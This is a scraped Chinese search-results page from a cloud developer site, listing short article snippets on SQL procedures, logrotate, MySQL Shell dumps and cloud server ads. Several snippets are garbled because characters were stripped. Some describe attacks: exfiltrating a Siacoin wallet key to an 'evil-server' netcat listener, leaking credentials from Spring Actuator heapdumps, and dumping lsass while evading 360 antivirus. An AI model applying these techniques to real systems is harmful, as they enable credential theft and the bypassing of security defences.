展开

关键词

proc 过程

SET QUOTED_IDENTIFIER ON  GO SET ANSI_NULLS ON  GO –**分类报表存储过程 ALTER  p...

17730

币Siacoin交易管理系统Siaberry的几个漏洞

今天,我要给大家分享关于币(Siacoin)开源挖矿系统Siaberry相关的几个漏洞。 前言 Siaberry运行基于Sia平台,存储空间的拥有者通过出售存储空间来赚取实用型代币的币。 Sia平台对应的加密货币为Siacoin(币/币),Sia的设计是使提供存储空间的服务器能够收到Siacoin(币),以此激励更多闲散空间成为储存空间提供商,而用户可以用Siacoin来出租或卖买存储空间 漏洞利用 在该漏洞利用过程中,我创建了一个名为 evil-server 的攻击者服务器端, 在该服务器中,我运行了netcat来执行5555端口的网络抓包。 ://evil-server:5555,攻击者会在evil-server服务器中的5555端口获取到该密钥信息,之后,就能实现对受害者钱包资产的币资产窃取。

21210
  • 广告
    关闭

    什么是世界上最好的编程语言?丨云托管征文活动

    代金券、腾讯视频VIP、QQ音乐VIP、QB、公仔等奖励等你来拿!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    logrotate日志转(滚动)

    用来把旧的日志文件删除,并创建新的日志文件,称为日志转或滚动。 选项,转并压缩 errors address # 专时的错误信息发送到指定的Email 地址 ifempty # 即使是空文件也转,是缺省选项。 notifempty # 如果是空文件的话,不转 mail address # 把转的日志文件发送到指定的E-mail 地址 nomail # 转时不发送日志文件 /endscript # 在转以前需要执行的命令可以放入这个对,这两个关键字必须单独成行 postrotate/endscript # 在转以后需要执行的命令可以放入这个对,这两个关键字必须单独成行 daily # 指定转周期为每天 weekly # 指定转周期为每周 monthly # 指定转周期为每月 size

    45310

    堆转文件泄露

    最近在进行渗透测试项目的时候遇到了一个Actuator配置不当的场景,通过其提供的执行器端点获取到了heapdump堆转文件,经过简单分析后获得了JDBC明文密码等敏感信息。 获取应用程序的定制信息 /actuator/trace # 显示最后几条HTTP消息 /actuator/logfile # 输出日志文件的内容 /actuator/heapdump # 堆转文件 Heapdump堆转文件 Heapdump,即堆转文件,是一个Java进程在某个时间点上的内存快照。 JVisualVM是一个监视,故障排除工具 也可以使用Eclipse MAT对其进行分析 参考:Java内存泄漏分析系列之六:JVM Heap Dump(堆转文件)的生成和MAT的使用 ? 参考 Springboot之actuator配置不当的漏洞利用 Java内存泄漏分析系列之六:JVM Heap Dump(堆转文件)的生成和MAT的使用 Springboot 获取被星号脱敏的密码的明文

    25840

    windows凭证转(一)

    START 0x01前言 本节主要介绍几种windows系统环境下凭证转的几种方式,以及通过日志如何去检查是否遭受到了凭证转。 0x02相关概念 (1)凭证转:从操作系统和软件中获取登录账号密码信息的过程,通过获取的凭证可以用来进行横向移动,获取受限信息,远程桌面连接等。 0x05常见进程转方式 (1) procdump方式 Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash

    60310

    MySQL Shell转和加载第3部分:加载转

    MySQL Shell具有的其他显着功能: 转和加载步骤本身也可以同时完成。即使转仍在执行,用户也可以开始加载它。通过利用这些优势,可以加快涉及跨服务器复制数据库的用例。 转格式 与mysqldump,mysqlpump产生的转不同,Shell转将DDL,数据和元数据写入单独的文件。表也细分为大块,并写入多个类似CSV的文件中。 我们还需要通过最佳方式的调整和排序工作来帮助MySQL服务器,使其尽可能快地获取数据。 为此,加载程序执行以下操作: 首先加载较大的表/块。这样可以平衡所有线程之间的总工作量。 这是因为4个加载会话中的每一个的服务器端线程都必须在存储引擎级别上争夺相同的锁。 优先加载较大表的块。 同样重要的是,通过加载这些转还原服务器也要快得多。与加载等效的.sql转文件相比,从Shell转中还原大型数据库仅需花费一小部分时间。当需要紧急恢复时,这可以释放一些宝贵的时间!

    22410

    服务器-腾讯服务器

    服务器是什么?介绍服务器的性能及服务器的购买流程。服务器是腾讯研发的新一代服务器,所以又称为腾讯服务器。 腾讯服务器可以随时升高或降低配置,当业务流量高峰时期,可以把服务器的配置或带宽增大,来应对流量高峰。流量高峰过去,配置亦可降低,非常便宜,可以有效降低云服务器的开支。 腾讯服务器所有机型免费分配公网IP,50G高性能硬盘(系统盘),腾讯服务器采用 英特尔Ⓡ至强Ⓡ可扩展处理器 CPU负载无限制,利用率最高为100% 。 服务器腾讯服务器 服务器提供安全可靠的弹性计算服务。 只需几分钟,您就可以在云端获取和启用 服务器,来实现您的计算需求。随着业务需求的变化,您可以实时扩展或缩减计算资源。 服务器支持按实际使用的资源计费,可以为您节约计算成本。使用服务器可以极大降低您的软硬件采购成本,简化 IT 运维工作。

    2.7K51

    服务器-腾讯服务器

    服务器是什么?介绍服务器的性能及服务器的购买流程。服务器是腾讯研发的新一代服务器,所以又称为腾讯服务器。 腾讯服务器可以随时升高或降低配置,当业务流量高峰时期,可以把服务器的配置或带宽增大,来应对流量高峰。流量高峰过去,配置亦可降低,非常便宜,可以有效降低云服务器的开支。 腾讯服务器所有机型免费分配公网IP,50G高性能硬盘](系统盘),腾讯服务器采用 英特尔Ⓡ至强Ⓡ可扩展处理器 CPU负载无限制,利用率最高为100% 。 [1620] 服务器腾讯服务器 服务器提供安全可靠的弹性计算服务。 只需几分钟,您就可以在云端获取和启用 服务器,来实现您的计算需求。随着业务需求的变化,您可以实时扩展或缩减计算资源。 服务器支持按实际使用的资源计费,可以为您节约计算成本。使用服务器可以极大降低您的软硬件采购成本,简化 IT 运维工作。

    1.3K52

    服务器-腾讯服务器

    服务器是什么?介绍服务器的性能及服务器的购买流程。服务器是腾讯研发的新一代服务器,所以又称为腾讯服务器。 腾讯服务器可以随时升高或降低配置,当业务流量高峰时期,可以把服务器的配置或带宽增大,来应对流量高峰。流量高峰过去,配置亦可降低,非常便宜,可以有效降低云服务器的开支。 腾讯服务器所有机型免费分配公网IP,50G高性能硬盘(系统盘),腾讯服务器采用 英特尔Ⓡ至强Ⓡ可扩展处理器 CPU负载无限制,利用率最高为100% 。 1.jpg 服务器提供安全可靠的弹性计算服务。 只需几分钟,您就可以在云端获取和启用 服务器,来实现您的计算需求。随着业务需求的变化,您可以实时扩展或缩减计算资源。 服务器支持按实际使用的资源计费,可以为您节约计算成本。使用服务器可以极大降低您的软硬件采购成本,简化 IT 运维工作。

    3.5K72

    绕过360实现lsass转

    Get-Process lsass).id Desktop\lsass-comsvcs.dmp full 同样被查杀 avdump.exe(yes) AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转指定进程

    9510

    宁德时代的能野心

    新能源汽车下游产业链的持续热火,极大地刺激了上游能产业的发展,作为国内能产业龙头的宁德时代,更是凭借其在能市场超高的市占率,成了这波造车热潮下的最大受益者。 能业务的快速增长,与多个方面的因素有关。从政策端来看,2020年8月份,国家相关部门发布了《关于开展“风光水火一体化”“源网荷一体化”的指导意见》,提出适度增加一定比例能。 截止2020年年底,10余个省市推出了可再生能源能政策,能行业迎来发展契机。 借此机会,宁德时代先后参与主导了多个重点锂电项目,极大地提升了其在行业能方面的影响力和知名度。 比如,由宁德时代主导执行的首个发电侧分散式百兆瓦时级锂电能项目、青海省海南州特高压外送1000MW光伏电站配置交流能项目投运,以及其在珠海横琴能调频项目的投运等等。 这些重大能项目的落地,直接推动了宁德时代在能领域的快速发展。 与此同时,宁德时代还先后参与了多起国内能换电领域的合作和投资布局。

    13900

    绕过360实现lsass转

    lsass-comsvcs.dmp full 同样被查杀 [image-20220411154145618.png] avdump.exe(yes) AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转指定进程

    24730

    相关产品

    • 云服务器

      云服务器

      云端获取和启用云服务器,并实时扩展或缩减云计算资源。云服务器 支持按实际使用的资源计费,可以为您节约计算成本。 腾讯云服务器(CVM)为您提供安全可靠的弹性云计算服务。只需几分钟,您就可以在云端获取和启用云服务器,并实时扩展或缩减云计算资源。云服务器 支持按实际使用的资源计费,可以为您节约计算成本。

    相关资讯

    热门标签

    扫码关注腾讯云开发者

    领取腾讯云代金券